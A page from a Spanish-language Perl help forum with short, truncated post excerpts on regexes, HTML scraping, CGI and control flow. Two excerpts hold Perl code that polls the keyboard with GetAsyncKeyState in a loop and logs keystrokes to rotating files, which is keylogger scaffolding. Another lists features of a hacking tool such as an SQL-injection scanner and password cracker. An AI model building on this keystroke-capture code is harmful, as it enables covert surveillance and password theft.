Foro - Perl en Español

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?

.

Ante todo, felicidades por esta página que me ha ahorrado un montón de horas buscando información y a los comentarios de explorer que aparecen en todos los lados :P

Tengo un problemilla con una búsqueda de un html que me llega que necesito sacar los vídeos de Youtube y los comentarios asociados.

Porción del html que quiero capturar:

<div id="cuerpo_13234" class="cuerpo">
Texto pruebra bllalblalbla ...

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...

Tengo el siguiente código.

use Win32::API;

my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");

while(1) {

if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}

if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}

}#

sub dame {
return($come->Call(@_) & 1);
}

sub savefile {
print $_."\n";
}


La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...

Hace tiempo que queria hacer un programa parecido al famoso juego Hackthegame , intente hacer un programa con un diseño parecido y algunas de sus funciones.
Las opciones que el programa tiene son :

Gmail Inbox
Client Whois
Ping
Downloader
GetIP
LocateIP
K0bra SQLI Scanner
GetPass
PanelControl
PortScanner
Multi Cracker
Ejecucion de comandos en la consola

Una imagen



Los modulos que necesita ...

¿ Existe algún módulo de Perl para poder abrir archivos zip o rar que tengan password ?

Tengo el siguiente código:
#!C:/xampp/perl/bin/perl.exe
print "content-type: text/html \n\n";
print <<EOF;
<img src="moto.jpg" />
EOF

pero al ejecutarlo no carga la imagen, pero si lo pongo en una página HTML normal:
<img src="moto.jpg" />
carga perfectamente. También intenté cambiar la URL de la imagen, como por ejemplo:

"C:/xampp/cgi-bin/DarkDragon/moto.jpg"
"C:/moto.jpg"
"localhost/cgi-bin/DarkDragon/moto.jpg"
"DarkDragon/moto.jpg"
"../../../moto.jpg"
"/moto.jpg"
"cgi-bin/moto.jpg"

pero con ninguna carga la imagen :?

¡Hola! :)

Estoy aprendiendo Perl y quiero saber si puedo evaluar una variable como se hace en Cobol. Ejemplo:

EVALUATE X
WHEN 0
CONDICION 1
WHEN 1
CONDICION 2
WHEN 2
CONDICION 3
WHEN OTHER
CONDICION 4
END-EVALUATE;

Les agradezco si me pueden ayudar, este es el único medio por el cual estoy aprendiendo Perl.

Att: Chascarrilla

¿ Qué carrera conviene más para alguien que solo le gusta la programación ?